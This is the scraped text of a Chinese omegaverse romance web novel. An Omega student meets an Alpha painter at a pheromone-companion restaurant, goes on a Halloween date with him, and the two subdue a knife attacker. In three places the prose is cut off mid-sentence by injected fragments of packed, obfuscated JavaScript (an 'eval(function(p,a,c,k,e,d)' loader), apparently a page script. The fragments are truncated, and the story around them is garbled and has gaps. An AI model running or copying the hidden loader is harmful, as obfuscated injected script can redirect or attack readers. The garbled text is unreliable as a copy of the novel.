《猫总会被蝴蝶吸引》 1. 陪聊 林言回宿舍时,时绮才从睡梦中醒来。 他毛茸茸的脑袋埋在被子里,只露出一点细碎的白金色发丝。听见动静不甘不愿抬起了头。林言从他半垂的眼睛里看见了些许倦意。 “吵醒你啦?”林言抱歉道。 “没。”时绮说,“刚好睡醒。” “……你不会一觉睡到现在吧?已经下午五点了,兄弟。”林言怀疑地问,“你昨晚又失眠了?” 时绮抿了抿唇,算是默认。 自分化那年起,时绮患上了一种罕见的病症:他的Omega信息素远低于平均数值,且随着年龄增长一再降低。如果继续保持现状,他的腺体将不断退化,最终变成Beta。 腺体退化带来的影响除了发情期混乱,还伴随着时不时的失眠,以及潜在的并发症。 现有的医疗手段对这一罕见病没有作用,唯有与高匹配度的Alpha结合,才能治疗病症。 也因如此,时绮家里希望他早日恋爱、最好能尽快结婚。然而时绮全将叮嘱当耳旁风,只觉得Alpha都十分无趣,甚至没一个好闻的。 “走走走,我带你出去吃饭。”林言怕他待会儿又睡过去,眉飞色舞道,“我预约了一家餐厅,最近在网上爆火!你知道他们的卖点是什么吗?” “?” “信息素陪伴!” “你可以选择自己喜欢的信息素类别,餐厅会给你安排符合要求的侍应生。就餐过程中他会释放少量的信息素,还会主动跟你聊天、照顾你,提升就餐体验。” 时绮点评:“听起来不像什么正经餐厅。” 林言笑嘻嘻地说:“你放心,我已经去过一次,可正经了。” “我问那个Alpha小哥哥加钱能不能约会,我给到了这个数。”林言伸手比了个数字,“他婉拒了,说他们这里只陪吃饭。” 时绮:“……” 时绮无言以对。 前些日子时绮把自己的头发染成了浅浅的白金色,加上他肤色胜雪、周身萦绕着作息颠倒带来的颓靡气息,宛若一只小吸血鬼。 看他这副人不人鬼不鬼的模样,林言放话道:“走走走,给你点个最帅的A,保证让你找回激情,重塑自我!” “得了吧。”小吸血鬼嗤道,“十个加起来没我一个帅。” “……”林言看着他精致到宛若人偶的脸,一时间很难反驳这个观点。 但闷头睡了一天,时绮确实有些饿了。在听说那家餐厅的甜点很好吃以后,他利索地翻身下床。 路上林言不死心:“根据我的观察,他们店最火的Alpha……这个叫什么来着,门面?对对,他们门面应该是你喜欢的类型。” 时绮哦了一声,懒懒散散问:“我喜欢什么类型?” “你不就喜欢长得像渣男的吗?又美又撩,最好还有点儿个性。”林言说,“就像你要联系方式那个学长一样。” “可惜段嘉衍学长是Omega,还有对象。” 林言说到这里,忍不住笑了一声。 向来只有别人追时绮的份儿,这小子难得主动一次就惨遭败北。最搞笑的是,在时绮觉得Omega也没事、说不定有一天他能变成Beta,磨磨蹭蹭半天终于克服害羞去要联系方式时,猛然得知人家有对象。 时绮面无表情:“你知道为什么不早告诉我。” “他对象可厉害了。是你对周围的人和事太不关心啦,他俩很有名啊。”林言安慰道,“没事的宝宝,人家学长完全不知道你什么意思,只把你当成同社团的后辈。这其中的心酸只有你我二人知晓。” 要联系方式是上学期的事情,其实早就无所谓了。 但是林言嘎嘎嘲笑他的样子很欠揍,时绮正想和他互怼,手机突然震了震,显示他收到了一条新消息。 来自于一个陌生号码: [时绮,我是傅思越。你到底多久能把我大号从黑名单放出来??] 时绮回了一个问号:[?] 像是没想到他会回应,那边的消息接连不断冒出: [家里逼我跟你联系。吵得要死,我本来都不想找你。] [我妈一直说我俩匹配度高,双方家庭又知根知底的,让我们多接触。你把我拉黑了我不好交代。] [你千万别误会,都是我妈的要求,我对你没意思啊。] 时绮读完消息,干脆利落地把这个号也拉黑了。 林言好奇地问:“谁找你?” “一个傻逼。” “……” - 林言说的餐厅名为“绘涧”,是一家新中式风格的创意菜餐厅,在寸土寸金的CBD独占一栋楼。 林言事先有预约,进门后领班微笑着询问道:“两位是想一起用餐,还是分开?” 时绮正想说一起,林言抢先一步:“当然要分开。” “?” “咱俩喜欢的信息素味道又不一样。” 时绮正想说自己是来吃饭的,有没有信息素加持无所谓。领班看向他:“您偏好什么类型的气味呢?” 时绮迟疑了一下:“甜甜的味道吧。” 领班笑道:“那是给您安排Alpha侍应生吗?” 时绮好奇道:“Omega也可以?” “当然啦。其实我们这里主要是提供美食、气味和陪伴。”领班解释道,“现在越来越多人一个人吃饭。偶尔会觉得孤单、或者一个人吃饭无聊,侍应生可以陪着聊天解闷,还有喜欢的信息素气味,就像沐浴在暖洋洋的香氛里。有不少客人都觉得很有趣。” “您如果更喜欢和Omega聊天,当然可以安排合适的Omega。” 所以这里的侍应生其实是类似于陪聊一样的工作?只是另外提供了信息素,可能还会帮忙布菜? “不行不行,Alpha!”林言答道,“给他安排你们门面!” 林言凑近时绮耳边,小声强调:“他们门面特别会营业,渣男脸!你的取向狙击。” 时绮:“……” 时绮:“我还是一个人吧,有人看我吃饭很奇怪。” 林言:“没事,好玩儿的!你就把他当成陪你吃饭的NPC,就跟游乐场里好看的鬼怪NPC一样。” 架不住林言力推,再加上这顿饭对方请客,时绮最终没再反对。 “您说的门面是兰礼吗?”领班抱歉道,“他今天请假了。给您安排另一位可以吗?也是店里很有经验的员工,信息素也恰好符合您朋友的喜好。” 原本睡了一天没什么感觉,这一通聊天下来,时绮还真有点饿了。 他的心思全在吃饭上,想也不想回答:“可以。” “好的,那您先进包厢。稍后会有侍应生过来,由他带您用餐。” 包厢里做了调节装置,可以控制房间内的信息素浓度,以防客人不适应。 时绮点好单,侍应生刚好进来。是一位年轻英俊的Alpha,穿着毛茸茸的浅沙色毛衣。比起传统印象里的侍应生,是更休闲、也更方便拉近距离的打扮。 看见时绮,Alpha的眼睛亮了亮。 “您是第一次来吗?以前没见过。” Alpha身上散发着淡淡的信息素气味,类似于榛子奶油的味道。他直接坐在了时绮身边。 时绮微不可查皱了一下眉。 “我之前也想染跟你类似的发色,但总感觉不好驾驭。”Alpha笑着说,“不过你这样很亮眼哦,像漫画里的人。果然长得好看什么颜色都合适。” 时绮没有回答,对方似乎将他的沉默理解成了害羞,贴近了和他说话。 “看你的样子,应该还是学生?” 伴随着Alpha的声音,周围的空气渐渐被另一个人的信息素占据。 Alpha与时绮隔了一段距离,尚在正常的社交范围。但对时绮来说,对方身上的味道就像令人头晕的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陌生男人望着庭院的某一处,露出挑剔的神色。 时绮顺着他的目光,看见了一道折了十二扇、华贵斑斓的款彩屏风。 “屏风摆这儿不好看。”商随说。 电话那头江砚大惊失色:“啊?!这玩意儿可是我花大价钱运回来的,按理说是我这座院子的灵魂,你居然说我的灵魂不好看?” “摆这位置真不行?我怎么感觉还挺有层次呢!” “乱七八糟,跟你家仓库似的。” “……” 江砚说了半天终于认命,垂头丧气问:“行吧,那怎么办?” “还能怎么办。”商随笑了声,“挪一挪,或者扔掉。” 等他挂掉电话,有人拦在他面前。 商随的个子很高,时绮看他时得略微仰头。 “你是这里的客人吗?” 四目相对,时绮隐约感觉他眼里掠过了一丝错愕,而后是粘稠的、意味不明的凝视。 被他看着,仿佛被某种冰冷的爬行类生物注视。 但很快,这种难以言喻的危机感在又在商随开口时消散。 入耳的嗓音沙沙的,不高也不低。是时绮喜欢的音色。 “不是。” 不是客人,那就是员工了。 而且这人也穿的毛衣,尽管款式破烂了一点,但可能每个人的工作服不一样。 该不会这就是林言想点的门面吧,临时来上班了? “Alpha?” 商随点了点头。 好,性别也对上了。 尽管十分钟以前,他从没想过自己会对一个Alpha感兴趣,但时绮一向践行“想要就去得到”的原则。况且换一个陪聊也不算什么大事。 想到这里,他向前走了一步。 “你是什么味道的?” 时绮的眼睛是罕见的深灰色,比一般人更剔透,眼尾微微上挑,令人联想到某种猫科动物。 他确实也像猫,丝毫没意识到自己像在对人进行骚扰。 看着陌生Alpha的脸,时绮想了想,认为忽略信息素的味道也行。 他直截了当问:“你能陪我吗?” 2. 蜂蜜 一上来就问信息素的气味,后一句更是模棱两可。 如果不是时绮的模样太过坦荡,任谁听来都像暧昧不明的邀请。 商随重复了一遍:“要我陪你?” 时绮点了点头,见他半天不说话,突然明白了什么:“你是不是比刚才那个贵一点儿?没问题的。” 毕竟是店里的招牌,贵一些也很正常。 “?” 商随这才反应过来,自己是被当成了餐厅的员工。 他早就说过江砚开的这破店有问题,还主打什么信息素陪伴,跟特殊服务似的。 时绮一眨不眨看着他,有些期待、更多是不加掩饰的好奇,模样与记忆中那张稚嫩的脸逐渐重合。 他以为时绮多多少少会记得他。 毕竟那样的经历……该说令人印象深刻吗?还是惊悚? 时绮还在等待回答。确定他真的一点儿都不记得自己了,商随沉默须臾,忽然笑了笑。 像故意引人上钩,又像为了避免猎物被吓跑—— “当然了,我陪你。” 再回到包厢里,点的菜几乎都上齐了,上一个Alpha的气味也完全消散。 时绮在原位坐下,商随没有过来,而是坐在了他的对面。 经过刚才那一系列插曲,时绮终于迟来地拿起了筷子。商随看他埋头吃东西,猜测他应该真的有些饿。 时绮的发质很好,即使染了这样的颜色,浅色的发丝依旧柔软又富有光泽,脸颊边的碎发下露出小小的耳垂。 商随多瞟了一眼,确定他的耳垂很干净,没有打耳钉。 时绮接连吃了几口垫好了肚子,而后想起房间里还有一个人。 抬头的时候,对方也正在看他。 时绮难得不好意思:“你要吃吗?” “不用。” 时绮还有些好奇他的味道,但又怕万一像上一个Alpha那样熏人,反而影响进食。 商随却在这时问:“你要闻一下吗?我的信息素。” 他伸出手,白净修长的手指戴了好几个戒指,亮亮闪闪。指关节微微泛粉,骨节又十分明显,是很典型的Alpha特征。 时绮一瞬间想到林言上课时在他旁边玩手机,在互联网上到处观看Alpha的手。 林言是个手控,看见其中一张照片,兴致勃勃点评:“据说Alpha荷尔蒙旺盛,关节才会泛粉。” “?” “这手一看就能把我抠死。” “……”时绮嘴角一抽,“算我求你的,高数课不是法外之地。” 面前这只手关节处好像也挺粉的……? 意识到自己在乱想什么,时绮耳根一热。他想也不想,逃避似地把头往下一埋,正好撞进商随的手掌心。 商随愣了愣。 他本意是想隔着一段距离,让时绮闻一下自己指尖的信息素,没想到会变成这样。 埋在他手心处的脑袋不安地动了动,似乎也觉得自己冒失。但很快,时绮的注意力又被清甜的香气吸引,鼻尖微微蹭过散发信息素的指尖。 虽然知道不是时绮的本意,但看起来就像在撒娇。 哎呀,怎么回事。 商随忍不住弯起眼睛。 隔了好一会儿,时绮抬头,眼眸亮晶晶地看着他。 鼻尖萦绕的信息素是甜蜜温暖的蜂蜜味,却并不腻人,夹杂着淡淡的檀木香气。 这是时绮迄今为止闻到过最喜欢的味道,令人联想到晶莹剔透的琥珀。 商随故意问:“不讨厌吧?” 他知道时绮不可能讨厌。 在时绮还是个尚未完全分化的少年时,就很喜欢他的信息素。 看这样子,尽管把他忘了个干净,爱好倒是没有变。 时绮摇摇头,又肯定似的点点头。 他从小到大闻不惯任何Alpha的信息素,傅思越和他匹配度高,按理来说应该是能习惯的,但一想到傅思越身上辛辣呛人的烟草味,时绮就想一脚把人踹飞。 原来碰见好闻的信息素是这种滋味…… 时绮对这一新奇感受有些上瘾:“你再多释放一点信息素。” 他提完要求,觉得也不能白白让人家服务:“你们这里点单点得多,陪聊有提成吗?” 商随压根不清楚这家餐厅怎么运作,随口回答:“应该有吧。” 时绮想到刚才扫过的酒水单,价格最为高昂的是最后一页,只有一种樱桃色的香槟:“那我点个香槟塔,要最大的。” 商随安静片刻,见时绮都准备叫人来点单了,开始觉得重逢后对方的每一项举动都出乎意料。 这么长时间不见,怎么还越来越有趣了。 如果江砚知道有人给他开香槟塔,估计得笑抽过去。 商随言辞暧昧地问: “这是给我的提成吗。” “老板真大方,会不会太破费了?” 时绮眨了眨眼,只觉得林言第一次没有虚假宣传,Alpha讨人欢心的能力担得上一句名副其实。 时绮说了句没关系,商随忽然问:“零花钱很多?” 通常有钱人家的小少爷被这么问,可能会觉得冒犯,但时绮坦然点了点头。 商随瞅了他一会儿。时绮莫名其妙:“……你笑什么?” “笑你给才认识的Alpha乱花钱。” “我没有——” “没有吗,”商随说,“你都不记得我的名字呢。” 时绮微怔。 的确,聊了这么久,他都不知道面前的Alpha叫什么。 进门时领班好像提过一嘴,好像叫兰……什么来着? 商随帮他合上酒水单,轻声道: “香槟塔就不用了,记住我的名字就好。” - 商随回去的时候,窗外还在下雨。 他这几年都待在国外,这套市中心的房子是虞晚以前购置的,只有简单的生活必需品,除此之外,没有任何多余的装饰。 对他来说,这个临时落脚点实在单调了些。 中途商随接到了一个电话,谢教授又一次邀请他去美院当一段时间助教。 因为独特的绘画视角、绚烂的色彩和贯彻始终犹如狂欢般的氛围,商随的画作令人印象深刻。不仅商业价值高,业内同样对这位年少成名的画家十分肯定。 谢教授是虞晚多年好友,对商随的能力十分了解,知道让他当助教是大材小用。但短时间内代课老师的名号不好拿,只能暂时用助教的名头。 即使不为工作,待在环境相对单纯的学校也可以转换心情。 商随对这个提议兴趣不大,但不好直接拂了谢教授的好意,只说 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“不是什么要紧的,懒得说了。”商随找了个借口把话题揭过,“您打电话还有什么事吗?” 恰好,虞晚还真有事情想问他:“你最近想不想出去度个假?你爸爸近期也有空闲。我们可以找个暖和一点的小岛,在上面住一段时间。” “别,您俩过吧,我不想当电灯泡。” 通话结束后,商随正想去洗澡,手机又一次响了起来。 今天怎么了? 都赶这个时间来。 “——你终于接了!”刚一按下接听,江砚就在那头哭天喊地,“哥,你是我亲哥,江湖救急!” 江砚一直觉得绘涧的庭院布景有些紧促,却又找不到具体原因,想让商随帮忙看看哪里出了问题。 他提过几次,正好今天有时间,商随便去了一趟,好巧不巧遇上了这种意外。 饶是事发突然,江砚也忍不住好奇:“你今天接待了店里的一个客人?何德何能让您当侍应生,这是什么级别的角色扮演啊?” “我最开始压根没想到这茬,问了一圈才知道是你。” 商随打断他:“到底有什么事?” “在你之前,店里还有一个Alpha侍应生。本来应该是他陪那个客人,人家让他走了。” “那侍应生有毛病,第一次被拒绝心里不服气,偷偷跟着他们回了学校,非要问出个为什么。” 江砚说到这里骂了一句:“操!还能为什么,就冲他这股脑残劲儿,被人拒绝不是很正常吗?” 商随不自觉地握紧手机:“出事了?” “没有,刚进学校就被拦下了。” “那位客人……对,客人叫时绮,你还记得吧?他让我们给个说法。” “我说赔偿他们,保证不让那个店员再骚扰他,他不愿意。” “那小孩儿一看就不缺钱,直接说补偿多少都不行。” 商随听到这里,隐隐约约猜到时绮提出了什么要求。 江砚也觉得把商随当作安抚对策一样送出去,多少不太厚道。 不过考虑到他自己都去干了这事儿,指不定他哥们儿看着高贵冷艳,其实私下就爱当陪聊!对吧? 江砚试探性地问:“你能不能再角色扮演一次,抽点时间陪他?” 3. 约会 绘涧:[不好意思!发生这种意外十分抱歉,我们已经辞退了那名跟踪您的侍应生,现在也联系了警方,会对这件事情严肃处理。] …… 绘涧:[您提的要求,商随已经答应了。] 一想到刚才的情况,林言仍心有余悸。他正想问问时绮怎么样,扭头一看,时绮握着手机居然笑了。 这小子平时冷冰冰的,这会儿大而明亮的猫眼都微微弯起,与半小时前判若两人。 快走到校门口时突然蹦出一个陌生Alpha,追着问时绮为什么拒绝自己,林言都蒙了。 见时绮冷冷淡淡,Alpha情绪更是激动,路过的学生见势不妙叫了保安,这才把Alpha制住。 事情发生后他们第一时间报了警,Alpha暂时被学校的保安扣住,稍后会交给警方。因为不想再耗费时间,时绮直接找了绘涧处理,同时也要求他们给个说法。 那边的态度倒是很好,一再道歉,并且会帮忙联系警方进行Omega保护登记,保证这名Alpha不再骚扰他。 这一步需要等走完流程后,时绮本人去数据库登记一下。在此之前,他们会尽最大努力补偿。 确定他不是被气笑的,林言问:“餐厅要赔偿你多少?” 能让时绮高兴,那得是多大一笔数字? 时绮:“赔了我一顿饭。” 林言:“?” 林言:“一顿饭就把你收买了?……不是,时绮,你跟我说实话,我感觉你好像不怎么生气,换平时你不得把那Alpha骂到升天啊?” 刚才只输出了一句“傻逼,进去记得照照镜子”,实在不像时绮的风格。 他跟时绮是发小,彼此很熟悉。大一入学,时绮在舞蹈社对镜练习的一段视频爆火,有经纪人特意找到他们学校,问时绮有没有兴趣出道。 那名经纪人来自于一家大型娱乐公司,旗下有一个非常出名的男团,得知时绮拒绝,林言忍不住问:“为什么,你不是挺喜欢跳舞吗?而且你还兼职过模特,肯定擅长抓镜头。” “还是算了,谁惹我生气,我得追着惹回去。” “?” “不然我睡不好觉。” 想想也很有道理,时绮本来就经常失眠,进了娱乐圈估计没一晚能合眼。 …… …… 按时绮的脾气,今天居然只骂了一句? 林言左思右想都觉得不对,回过神来,听见时绮回答:“反正他也没能做什么。事情都结束了,没必要跟他浪费时间。” 林言想想也是这个道理,却忍不住补了一句:“但我怎么觉得你像是被更有趣的事情吸引了,以至于懒得计较呢?” 时绮:“……” 有时候林言实在敏锐得可怕,令人很难办。 时绮收起手机,自然而然道:“你想多了。” - 回宿舍后,绘涧的工作号推了商随的微信过来,让时绮有空跟他联系。 商随的头像与本人给人的印象截然不同,是一只长毛的蓝金渐层小猫。似乎因为天冷,小猫的脖子上系了一条针织围巾,看起来软绵绵的一团。 时绮多看了几眼,抬手发送了好友申请。 “小绮,打游戏吗?”他们宿舍原本有三个人,另一个室友去外面住,现在只剩他和林言。 “秦书赫说自己跪了一晚,急需你的AD带他一雪前耻。” 时绮头也不抬:“玩个辅助都要吃我的兵,让他继续跪着吧。” 不料林言开的外放,秦书赫刚好听见时绮的回答,顿时鬼哭狼嚎:“时绮你好狠的心!不是说好了要和我走一辈子下路吗?” “你谁啊?”好友申请还没通过,时绮把手机放到一边,“算了,玩两把,不准吃我的兵。” “保证不,我给你当孙子都行。” 秦书赫是隔壁美院的学生。他一上来分享了一堆学校里的八卦,连自己的老师都没放过:“我们教授最近想招一个人来当助教,天天念叨人家什么时候能同意,耳朵都给我听起茧了。” “原来你也会嫌人话多。”时绮稀奇道,“你不是话包吗?” 秦书赫怒道:“时绮你这张嘴——” 时绮:“拉克丝上去Q,能杀。” 秦书赫:“嗻,皇上。” 林言插嘴道:“你说的是谢教授吗,能让他这么看重,那得是什么人?” 林言家里是开美术馆的,对秦书赫的老师有所了解。 时绮对这些不感兴趣,眼中只有打打杀杀。秦书赫回答:“听说才从国外回来,具体不知道是谁。不过貌似年纪不大,跟我们只差了三四岁。” 正是在这时,时绮的手机亮了起来。 商随通过了他的好友申请,发来一条消息。 Ss:[不好意思,刚才有点事。同意晚了。] 趁着回城,时绮单手打字回复。 17:[哦,没事。] 过去一小会儿,商随发来了一篇游乐场的笔记。 [你对游乐场有兴趣吗?最近有万圣节游行,应该比较好玩。] 时绮有些困惑。 17:[不是吃饭?] Ss:[绘涧的老板说之前的事情非常抱歉,让我尽可能补偿你,费用都由他承担。] Ss:[如果你不想约会的话,我们就只吃饭^^] 时绮盯着其中一个词反复看了几遍,确定没认错。 秦书赫:“我去,天命来了。” 秦书赫:“时绮我Q中了两个,交虚弱了啊!……时绮?皇上??愣着干嘛,来杀人了!!” 女警在塔下一动不动,秦书赫白交了一个虚弱,反被对面收割。 半晌过后,时绮才闷闷回答:“我的。” “不是?”秦书赫纳闷道,“不应该啊,你不是首席执法官吗,刚才怎么回事?我一次性串两个不容易——” 林言看看一言不发的时绮,开口打断他:“哎呀你不要怪孩子了!带着你的瘸腿拉克丝C这么久已经很不容易。” “小绮都被你说冒烟了!一张脸通红!” - 万圣节当天正好周五,想到第二天要出门,时绮本就堪忧的睡眠越发脆弱,折腾到后半夜才入眠。 幸好周五没什么课,时绮白天几乎都在补觉。或许是身体适应了长期不规律的作息,时绮在傍晚自然醒来,整个人神清气爽,换好衣服准备出门。 林言原本悠哉地靠在床上敷面膜,听见动静敏锐地问:“你要去哪?” 时绮没说话,林言指出他的反常:“你还特意换了衣服,虽然都是黑的,但跟刚才那套不一样。” “现在换好衣服没有十点十一点别想回来了,你不怕门禁?赶紧坦白从宽,夜不归宿应该是我的剧本。” 之所以这么说,也是因为林言十分了解他。 时绮不喜欢太过乌烟瘴气的地方,叫他出去过夜生活十分困难。哪怕是部门活动也不可能,时绮只加了两个社团,摄影部他现在不怎么去,舞社最近也没听说晚上要排练。 “……” 如果坦白自己是去见一个刚认识的Alpha,对方的职业还十分特殊,林言的尖叫估计能掀翻屋顶。 时绮心虚片刻,忽然变得理直气壮:“你别管。” 他说完拉开门,直接走了出去。 “?”林言震惊地揭下面膜,弹射而起,“不是,你回来,你说清楚你要去见谁——跑这么快啊时绮?!都不愿意用社团活动做借口骗我,你到底要去见哪个妖精??” 越是靠近游乐场,越能感受到万圣节独有的氛围。 进门处糖果瀑布式的造景上缀满灯串,角落里摆放着造型各异的南瓜灯和骷髅灯,远处巨大的小丑雕塑笑容满面。不难想象天色彻底暗下后,四周万花筒般缤纷诡谲的景象。 之前看见商随的消息,他稀里糊涂选了“约会”。明明两个人只有一面之缘,Ome ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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商随盯着他不说话。时绮啧了声:“别那么看我,你是老板还是我是老板?” “你是。”商随说得毫不迟疑,“求求你了。” “……………” 时绮略微睁大眼睛,不可思议地看着他。 这人不害臊吗?怎么会有Alpha一脸自然地说出这种话? 还是说他们这种特殊的工作性质,营业起来都这么厉害? 想起林言那句你不会是去见哪个妖精吧,时绮犹如被人当头一棒。他同商随那双狐狸似的眼睛对视片刻,最终将林言的谴问抛到一边,鬼使神差伸出手:“给我。” 商随让他稍等一会儿,去结了账。 这一分钟内,时绮脑中闪过“我真的要戴这鬼玩意儿?”、“凭什么我要听他的安排”、“但是戴一下好像也无所谓,过节嘛,就图一乐”……等等诸多念头。 就在他快要后悔时,头上忽然传来轻微的压力。 时绮回过神。 商随不知何时去而复返,将发箍轻轻戴在了他头上。 时绮撩眼看他,长而卷翘的睫毛微微打颤,蓬松的发丝与发箍底部的浅金色绒毛几乎融为一体,那对尖尖翘翘的猫耳就像从头上长出来的。 商随笑了笑。 比想象中更合适。 时绮以为自己被嘲笑了,不太高兴地问:“你什么意思?” 明明他给商随拿的就是拉风的恶魔发箍,还能闪。给他挑个毛茸茸的算什么? 看着时绮别扭的神色,商随得寸进尺地捏了捏他的猫耳朵,在时绮发脾气之前夸赞道: “嗯,果然是世界上最漂亮的小猫。” 4. 意外 “……什么啊。” 时绮嘟囔道。 他倒是不介意被人夸漂亮,反正他本来就漂亮。 但是商随说话时那种纵容的语气…… 先前的不高兴戛然而止,时绮意识到自己居然被他一句话哄好了,心情有些复杂。 “我们走吧。”商随见他不太自在,适时转移话题,“再过一会儿游行就要开始了,要不要先去吃点儿东西?” 上次在餐厅,他发现时绮很喜欢吃甜食,商随示意不远处的一辆甜品车:“那边有冰淇淋和小蛋糕。” 时绮点了点头。 甜品车做成了南瓜马车的造型,车轮上缠绕着五颜六色的装饰灯,有不少人在这边拍照。 大概是绘涧的老板给了充足的经费,商随买的是游乐场的VIP套票,一路上也是他主动付钱。 时绮最终在南瓜马车上挑了一个柚子味的冰淇淋,拿着边走边吃。 他吃东西小口小口的,舔冰淇淋的时候,露出一小截艳红的舌尖。 商随多看了两眼,才叫他的名字:“时绮。” 被点名的人闻声扭过头,猫耳朵跟着晃了晃。 “纸巾,你刚才忘拿了。” “哦,谢谢。” 时绮伸手接过。周围的灯光忽然闪了闪,音乐随之响起。 拉开序幕的是一小段清脆流畅的钢琴,稚嫩的童声合唱紧随其后,在最后一个音节骤然变调,转为尖锐诡异的笑声。 巡游的队伍慢慢向前移动。时绮的注意力都被吸引,没注意到身边经过了一群人,其中一个看见他倏忽停下脚步。 “愣着干嘛?” 身边人拍了傅思越一下。后者不可思议地看着时绮头上的猫耳朵,确定不是梦里才会有的幻觉:“时绮?” 靠。 怎么是这个衰人。 反正周围人多,时绮索性假装听不见。商随朝那边瞟了一眼,同样视若无睹。 一时之间没有人回应,朋友迟疑地问:“你认识?” “嗯,”傅思越道,“你们先走吧,我一会儿过来。” 等其他人离开,傅思越走到时绮面前。他本来想说你的发箍还挺可爱的,但话到嘴边就变成了:“你多大了,怎么还戴着这么幼稚的玩意儿?” 时绮面无表情。商随看得出来,他有些不爽了。 他和傅思越、林言都算从小认识,时绮一直觉得傅思越这张嘴十分讨厌。分化之前,他时不时就能把傅思越揍哭;分化之后……因为一些原因,时绮家里的长辈希望他能跟傅思越好好相处,这就导致时绮愈发看他不顺眼。 没人搭理他。傅思越看了几眼时绮身边的Alpha。对方的存在感强烈得无法忽视,花枝招展,一看就不像什么好东西。 但他又觉得时绮不可能跟Alpha单独出来,故意耍了个心眼问:“你怎么一个人在这?” “看不出来?”在时绮开口前,商随轻描淡写说,“我们在约会。” 傅思越一顿,对上商随的目光。 商随比他高,略微垂着眼睛,有意无意笑了一下。 傅思越顿时皱起眉头:“问你话了吗,你谁啊?” 他没想到,上一秒还在挑衅自己的Alpha忽然变脸:“哇,好凶。” 傅思越:“?” 更令傅思越没料到的是,时绮十分吃这一套,直接上前一步挡在比自己还高的商随身前,语气不善:“谁准你凶他的?” 不是? 这不是他先挑事儿吗? 傅思越还有些没反应过来,仗着时绮看不见,商随手指按住下眼睑,冲他做了个嘲讽的鬼脸。 配上他头顶的红色恶魔角,要多邪恶有多邪恶。 “你!”傅思越气得脱口而出,“你有种别躲在时绮后面——” “差不多得了。”时绮耐心告罄,“让让,别挡路。” 傅思越被噎了一下,甚至有一丝委屈。 横竖他俩算是竹马吧,时绮都没维护过他一次,不喷他都算好的了。 正是在这时,游行的队伍渐渐走近。 最前面的工作人员扮成死神的模样,骑着无头马、手举血红色镰刀,紧跟其后的则是一群手持南瓜灯的小鬼。 游客们的注意力都被吸引,离他们最近的一个女孩正专心录像。商随忽然转过头,脸色变了变。 时绮一瞬间闻到了一股微弱的信息素气味。 说不上来是什么味道,如同燃烧的汽油,似乎下一秒就会爆炸开来。 女孩的目光集中在手机屏幕。突然发现一个提着南瓜灯的小鬼向她逼近,那张涂抹油彩的苍白脸孔逐渐占据整张屏幕。 他伸出手,从南瓜灯里径直掏出了什么,晃眼的寒光一闪而逝。 危急关头,有人一把将她推开。 女孩逃过一劫,回过神来声音颤抖:“……他有刀!” “那不是道具!他刚才真的想拿刀捅我!!” 见救了她的人还在跟小鬼对峙,女孩着急地朝四周喊:“快去帮忙啊!!” 周围其他人都被吓蒙了,只有时绮反应过来:“商随!” 小鬼举着刀就要捅,商随比他速度更快,直接一脚踹在了对方的腹部,趁着小鬼吃痛地弯下腰,一把将刀夺过来踢到一边。 他这一套动作堪称行云流水,傅思越看得瞪大了眼睛。小鬼挣扎着想要爬起身,又被另一个人从后面按住肩膀,狠狠往下一压。 暴起伤人的小鬼发出了一声痛苦的尖叫。 傅思越一愣,这才发现自己身边已经没人了:“时绮……?”他是多久冲出去的?! 时绮按着小鬼的肩膀,混乱之中大声问:“你没事吧?!” 小鬼被他俩合力制住,只能不停咒骂,各种肮脏不堪的词汇不断往外面冒。 “没事。”商随的气息有些乱,声音还算镇定。为了防止意外,他将一只手压在时绮手背上,“按稳了。” 这场惊险的意外令时绮的心跳不断加速,他用足了力气,手背青筋凸起,稳稳地将人固定在原地。 “知道。”时绮回答。 周围其他人惊魂未定。游乐场的安保在这时赶来,将这一圈团团围住。 - 时绮怎么也没想到,最近碰上的神经病一个接一个,来个游乐场都能进警局。 他、商随和遭遇袭击的女孩都被叫来做笔录。时绮顺便补了一个Omega保护登记。 给他做笔录的女警因此得知他不久前才被人跟踪过,关键时刻却敢站出来见义勇为,看他的眼神充满了慈爱,夸了又夸,搞得时绮都有点不好意思。 她向时绮透露,暴起伤人的小鬼是一名处于特殊易感期的Alpha。他与被袭击的女孩并不相识,大概率为随机伤人。 为了掩盖易感期浓郁的信息素,Alpha特意使用了大量阻隔剂。 这是时绮第一次听见这个概念:“特殊易感期?” “大多数Alpha的易感期为两到三天,少数Alpha的易感期不会自然停止,只有在欲望得到满足、或是彻底精疲力竭之时,他们的易感期才能结束。” “处于特殊易感期的Alpha会保留部分理智,性格里的阴暗面却会不断放大,许多精神变态的Alpha罪犯都有这一特征。”女警解释道,“简单来说,他们比一般的Alpha更具攻击性、更为极端,也更危险。” 想到游乐场里Alpha疯狂的、泛着血丝的眼睛,时绮不禁蹙起眉。 他这边结束得很快,等了很久,商随却还没出来。 傅思越放心不下,也一起跟了过来,等待过程中对商随的身份不断追问:“他到底是什么人?” “他那身手看着就不一般,说不定专门练过。他之前还躲你后面装柔弱。你以前从来不跟这些乱七八糟的人打交道——” 时绮烦得要死,冷声问:“说够了没?” 傅思越不小心说出实话:“啊?不太够。” “闭嘴。” 时绮冷下脸的时候气势惊人,傅思越哪怕有千言万语,也被这一句命令堵了回去。 但他真的很担心时绮,思来想去,这事儿如果找家长他的大号小号估计从此别想从时绮的黑名单出来,只能迂回地找了林言。 为了引起林言的重视,傅思越将商随活脱脱描述成了妖孽,恰好跟林言的预测一拍即合。 与此同时,另外一边。 商随做完笔录,负责这个案子的警察队长起身对他道:“谢谢你的配合。” 商随点点头,想说一句您也辛苦了,警察队长忽然话锋一转:“对了,还有一件事想问问你。” “我们仔细观察过监控,在嫌疑人行动之前,你好像已经察觉到了不对劲。” 商随一顿,抬眸朝他看去。 这句话可以被解读成很多种意思,最差的一种,他被怀疑与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 